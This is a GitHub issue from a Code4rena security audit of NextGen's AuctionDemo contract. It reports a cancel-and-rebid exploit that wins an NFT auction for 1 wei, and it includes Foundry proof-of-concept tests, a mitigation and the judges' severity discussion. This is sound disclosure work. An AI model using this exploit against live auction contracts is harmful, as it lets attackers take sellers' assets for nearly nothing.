Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Attacker can manipulate the auction and win it paying just 1 wei #1513

Closed
c4-submissions opened this issue Nov 13, 2023 · 16 comments
Closed
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-1323 edited-by-warden partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%)

Comments

@c4-submissions
Copy link
Contributor

c4-submissions commented Nov 13, 2023

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L124-L143

Vulnerability details

Impact

Attacker can outbid competitors by initially bidding significantly more than the market value of the NFT. Wait for the last second, cancels the high bid right before the auction ends, places a 1 Wei bid and successfully claims the NFT in the same transaction.

Note

Cost of Attack: Minimal, limited to gas fees. The attacker can repeatedly execute this strategy across auctions if someone outbided him, as he can just cancel his bid.

Proof of Concept

A simple scenario breakdown of the attack:

  1. Bob places a significantly higher bid than the market value of the NFT, aiming to eliminate competition. In the provided test, they bid 10 ETH when the assumed market value is 1 ETH.
  2. Bob waits until the last second of the auction duration.
  3. At the last second, Bob triggers a series of actions simultaneously:
    • Cancel the High Bid: Bob cancels their initially placed high bid.
    • Place a 1 Wei Bid: Immediately after canceling the high bid, Bob places a minimal bid of 1 Wei using the participateToAuction() function.
    • Claim the Auction: Bob calls claimAuction() function, claiming the NFT with the 1 Wei bid (In the same tx).

Here is a coded PoC to demonstrate the issue:

    function testWinAuctionWith1Wei() public {
        vm.prank(genAdminOwner);
        minterContract.mintAndAuction({
            _recipient: artist1,
            _tokenData: "",
            _saltfun_o: 0,
            _collectionID: 1,
            _auctionEndTime: block.timestamp + 1 days
        });

        vm.prank(artist1);
        nextGenCore.approve(address(auctionDemo), 10000000000);

        // Assume the NFT price is 1 ETH in the open market
        // When the NFT auction started, the attacker will bid with 10 ETH to eliminate the compitition

        hoax(bidder1, 10e18);
        auctionDemo.participateToAuction{value: 10e18}(10000000000);

        console.log("Attacker 10 ETH bid to eliminate compitition :", auctionDemo.returnHighestBid(10000000000));

        vm.warp(block.timestamp + 1 days);

        // Attacker will wait to the last second to execute all this transaction's simultaneously

        vm.startPrank(bidder1);
        
        auctionDemo.cancelBid(10000000000, 0);

        auctionDemo.participateToAuction{value: 1 wei}(10000000000);

        console.log("Attacker 1 Wei bid                           :", auctionDemo.returnHighestBid(10000000000));

        auctionDemo.claimAuction(10000000000);

        vm.stopPrank();

        console.log("Auction contract balance after the claim     :", address(auctionDemo).balance);
        console.log("Owner balance after the claim                :", auctionDemo.owner().balance);
        console.log("Attacker successfully claimed the NFT        :", nextGenCore.ownerOf(10000000000)); 
    }

Logs result:

  Attacker 10 ETH bid to eliminate compitition : 10000000000000000000
  Attacker 1 Wei bid                           : 1
  Auction contract balance after the claim     : 0
  Owner balance after the claim                : 1
  Attacker successfully claimed the NFT        : 0xb549357D1EA5b44c8F1d82046c7dfD6ed2265A8B

Test Setup:

Tools Used

Manual review

Recommended Mitigation Steps

Disallow bid's cancellation while the auction is active to prevent this exploit.

Assessed type

Other

@c4-submissions c4-submissions added 3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working labels Nov 13, 2023
c4-submissions added a commit that referenced this issue Nov 13, 2023
@c4-pre-sort
Copy link

141345 marked the issue as duplicate of #962

@c4-judge c4-judge reopened this Dec 2, 2023
@c4-judge
Copy link

c4-judge commented Dec 2, 2023

alex-ppg marked the issue as not a duplicate

@c4-judge
Copy link

c4-judge commented Dec 2, 2023

alex-ppg marked the issue as duplicate of #1784

@c4-judge c4-judge closed this as completed Dec 2, 2023
@c4-judge c4-judge reopened this Dec 4, 2023
@c4-judge c4-judge added primary issue Highest quality submission among a set of duplicates selected for report This submission will be included/highlighted in the audit report labels Dec 4, 2023
@c4-judge
Copy link

c4-judge commented Dec 4, 2023

alex-ppg marked the issue as selected for report

@alex-ppg
Copy link

alex-ppg commented Dec 7, 2023

The Warden demonstrates a way via which the 1-second time overlap of an auction's claimAuction, cancelBid, and participateToAuction functionality can be weaponized to claim an auctioned NFT at a price as little as 1 wei.

While the 1-second overlap has a low likelihood per #1323 and #175, the Warden has demonstrated a high impact whereby the auctioned NFT is captured at a very small price. The attack can be reliably carried out for auctions whose exact end time will be included in a block by bidding a high value that exceeds the auctioned item's "estimated" price thereby ensuring no other bids are placed.

Additionally, the attack can also be carried out in auctions where other participants have canceled their bids, and at a minimum, this would result in the user winning the auction with the second-to-last bid's value + 1.

Combining the above I consider this submission to be of a medium-risk rating yet relying on the same root cause as #1323 (cancellation of bids right at the end of an auction, albeit before the auction is claimed rather than after). Given that the remediation for either of the two would cancel the other out, I will mark this submission and its duplicates as (at maximum) 50% credit under submission #1323 duplicates.

The issues that will be diminished in their reward are: #1513, #1910, #1867, #1819, #1811, #1797, #1784, #1754, #1716, #1612, #1583, #1561, #1515, #1420, #1413, #1379, #1321, #1263, #1251, #1249, #1245, #1241, #1197, #1179, #1176, #1146, #1107, #1011, #924, #898, #848, #819, #791, #789, #777, #733, #692, #680, #655, #652, #630, #616, #567, #533, #490, #413, #403, #315, #209, #190, #148, #125, #65, #53

@c4-judge
Copy link

c4-judge commented Dec 7, 2023

alex-ppg marked the issue as duplicate of #1323

@c4-judge c4-judge added duplicate-1323 and removed primary issue Highest quality submission among a set of duplicates labels Dec 7, 2023
@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label Dec 8, 2023
@c4-judge
Copy link

c4-judge commented Dec 8, 2023

alex-ppg marked the issue as satisfactory

@c4-judge c4-judge removed the satisfactory satisfies C4 submission criteria; eligible for awards label Dec 8, 2023
@c4-judge c4-judge added the partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%) label Dec 8, 2023
@c4-judge
Copy link

c4-judge commented Dec 8, 2023

alex-ppg marked the issue as partial-50

@c4-judge
Copy link

c4-judge commented Dec 8, 2023

alex-ppg marked the issue as not selected for report

@c4-judge c4-judge closed this as completed Dec 8, 2023
@c4-judge c4-judge added satisfactory satisfies C4 submission criteria; eligible for awards and removed selected for report This submission will be included/highlighted in the audit report partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%) labels Dec 8, 2023
@c4-judge
Copy link

c4-judge commented Dec 8, 2023

alex-ppg marked the issue as satisfactory

@c4-judge c4-judge removed the satisfactory satisfies C4 submission criteria; eligible for awards label Dec 8, 2023
@c4-judge
Copy link

c4-judge commented Dec 8, 2023

alex-ppg marked the issue as partial-50

@c4-judge c4-judge added the partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%) label Dec 8, 2023
@0xbtk
Copy link

0xbtk commented Dec 9, 2023

Hey @alex-ppg, I think #1513 isn't simply a duplicate of #1323. Fixing #1323 won't address #1513. While it makes the attack more challenging, it doesn't eliminate the risk. The attacker can still outbid competitors, cancel the bid at the last second, and place a 1 wei bid. They can then wait for the auction to end, claiming the NFT just one block later.

While some may argue that there is a possibility of being frontrun or outbid in the last block, what if that doesn't happen? The attacker can simply wait for another second and claim the NFT. Here is a coded PoC:

    function testWinAuctionWith1Wei() public {
        vm.prank(genAdminOwner);
        minterContract.mintAndAuction({
            _recipient: artist1,
            _tokenData: "",
            _saltfun_o: 0,
            _collectionID: 1,
            _auctionEndTime: block.timestamp + 1 days
        });

        vm.prank(artist1);
        nextGenCore.approve(address(auctionDemo), 10000000000);

        // Assume the NFT price is 1 ETH in the open market
        // When the NFT auction started, the attacker will bid with 10 ETH to eliminate the compitition

        hoax(bidder1, 10e18);
        auctionDemo.participateToAuction{value: 10e18}(10000000000);

        console.log(
            "Attacker 10 ETH bid to eliminate compitition:",
            auctionDemo.returnHighestBid(10000000000)
        );

        vm.warp(block.timestamp + 1 days);

        // Attacker will wait to the last second to execute all this transaction's simultaneously

        vm.startPrank(bidder1);

        auctionDemo.cancelBid(10000000000, 0);

        auctionDemo.participateToAuction{value: 1 wei}(10000000000);

        console.log(
            "Attacker 1 Wei bid                          :",
            auctionDemo.returnHighestBid(10000000000)
        );
        vm.stopPrank();

        vm.roll(block.number + 1);

        vm.prank(bidder1);
        auctionDemo.claimAuction(10000000000);

        console.log(
            "Auction contract balance after the claim    :",
            address(auctionDemo).balance
        );
        console.log(
            "Owner balance after the claim               :",
            auctionDemo.owner().balance
        );
        console.log(
            "Attacker successfully claimed the NFT       :",
            nextGenCore.ownerOf(10000000000)
        );
    }

#1513 describe a diffrent attack with a diffrent root cause. AuctionDemo should prevent users from canceling bids during an ongoing auction. In the initial report, I might have incorrectly applied it was only possible when block.timestamp == auctionEndTime. However, this PoC demonstrates otherwise.

@alex-ppg
Copy link

alex-ppg commented Dec 9, 2023

Hey @0xbtk, thanks for contributing to the PJQA process! I have already provided some feedback concerning this on #663 (comment).

The attackers would open themselves up to a front-run attack that is very lucrative and trivial to execute. The problem with this attack and its reliance on block.timestamp == auctionEndTime is that it leaves no protection window providing a guaranteed profit to the attacker. Cancellation of bids while an auction is on-going is a desirable trait of NextGen per the documentation, code, as well as the Sponsor's direct confirmations.

The attack itself already relies on a couple of hypotheticals, including:

  • Attacker willing to forfeit the high-enough bid throughout the whole auction duration locked in the system
  • Attacker is the first to bid on an auction, thereby expending funds to execute the attack (i.e. MEV fees)
  • Attacker is the last to interact with the auction, cancelling their bid and claiming the auction (once again MEV fees)
  • NextGen seeing two bids in an auction and this not raising any eyebrows (auctions can be revoked by simply transferring the NFT)

If we add Attacker does not have a guaranteed profit in the mix, the submission starts to lose its validity as they would have to spend MEV fees and lock their funds with no guaranteed profit.

@0xbtk
Copy link

0xbtk commented Dec 9, 2023

Hey @alex-ppg, thanks for your time. As mentioned earlier, the risk of being front-run or outbid in the final block exists. Attackers can utilize flashbots or a private mempool to submit transactions.

While I understand bid cancellation is intentional, I have highlighted that the current design is can be manipulated by attackers. Isn't this attack has a higher probability and more severe impact compared to #175?

@alex-ppg
Copy link

alex-ppg commented Dec 9, 2023

Hey @0xbtk, thanks for following up! This submission has been credited 50% of a high-severity submission while the issue you mention is a medium-severity submission.

Specifically, this submission has been rewarded 10 * 50% = 5 effective shares and issue #175 has been rewarded 3 effective shares per the relevant C4 resource (not counting duplicates). The hypotheticals have been laid out in the response that precedes your latest comment to clarify the likelihood of this submission in relation to #175.

Please let me know if there is anything else you wish to discuss further.

@0xbtk
Copy link

0xbtk commented Dec 10, 2023

Hey @0xbtk, my main concern isn't the rewards calculation. I believe this issue is a separate vulnerability from #1323. Fixing #1323 won't address this, it will just make harder to reproduce, and it will make it to lunch.

I respect your decision, and I don't have anything else to add.

Thanks!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-1323 edited-by-warden partial-50 Incomplete articulation of vulnerability; eligible for partial credit only (50%)
Projects
None yet
Development

No branches or pull requests

6 participants